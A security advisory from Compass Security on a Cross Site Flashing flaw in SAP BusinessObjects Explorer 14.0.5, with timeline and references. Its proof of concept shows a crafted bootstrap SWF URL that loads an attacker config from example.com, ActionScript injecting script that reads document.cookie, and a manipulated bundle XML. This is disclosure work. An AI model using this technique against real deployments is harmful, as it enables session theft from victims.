#######################################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#######################################################################
#
# Product:           BusinessObjects Explorer
# Vendor:            SAP AG
# Subject:           Cross Site Flashing
# Risk:              High
# Effect:            Remotely exploitable
# Author:            Stefan Horlacher
# Date:              2014-10-10
# SAP Security Note: 1908647 [0]
#
#######################################################################

Abstract:
-------------
BusinessObjects Explorer is vulnerable against Cross Site Flashing [1]
attacks, allowing an attacker to e.g. steal the victim's session.
This vulnerability requires the victim to click on a malicious link
prepared by the attacker.


Affected:
---------
Vulnerable:
SAP BusinessObjects Explorer version 14.0.5 (build 882)

Not tested:
Other versions of BusinessObjects Explorer


Technical Description:
----------------------
The Flash file suffers from a Cross Site Flashing vulnerability. It
is possible to directly load and display the
com_businessobjects_polestar_bootstrap.swf Flash file and specify a 
configUrl. This requires the victim to be logged and the attacker needs
to know the /webres/ URL, which is known as soon as the attacker is in 
possession of valid credentials. The configuration file specified in 
the configURL parameter may reside on a foreign host. The 
configuration file itself may contain URLs of further Flash files 
residing on a foreign domain. If successful, the victim loads foreign 
Flash files, which leads to Cross Site Flashing. The example below 
loads a Flash file, which injects JavaScript into the DOM of the 
originating domain.


  URL: /explorer/webres/[CUT BY COMPASS]/com_businessobjects_polestar_bootstrap.swf?configUrl=http://example.com/attacker_flash_config.xml


  Code of the injected Flash file referenced in http://example.com/attacker_flash_config.xml
    package
    {
      import flash.display.Sprite;
      import flash.events.Event;
      import flash.external.ExternalInterface;

      public class Main extends Sprite
      {
        public function Main():void
        {
          ExternalInterface.call("document.write",
          "<script>alert(document.cookie)</script>");
        }
      }
    }
  
  Extract of the manipulated configuration file http://example.com/attacker_flash_config.xml:
    <p:configuration xmlns:p="http://www.businessobjects.com/2007/platform"
      p:codebase="plugins/">
    <p:splashLocation p:id="com_businessobjects_polestar_splashscreen"
      p:codebase="http://[CUT BY COMPASS].csnc.ch/[CUT BY COMPASS]/"/>
    <p:bundles>
      <p:bundle p:id="com_businessobjects_polestar_admin" p:codebase="http://example.com/"/>
      <p:bundle p:id="com_businessobjects_polestar_prompts" p:codebase="http://example.com/"/>
      <p:bundle p:id="com_businessobjects_polestar_dataprovider_xl" p:codebase="http://example.com/"/>
      <p:bundle p:id="com_businessobjects_polestar_portal_logoff" p:codebase="http://example.com/"/>
    [CUT BY COMPASS]

    
Timeline:
---------
2013-06-06:     Discovery by Stefan Horlacher
2013-06-26:     Initial vendor notification
2013-12-10:     Vendor releases patch and SAP Security Note 1908647
2014-10-10:     Disclosure of the advisory


References:
-----------
[0] https://service.sap.com/sap/support/notes/1908647
[1] https://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project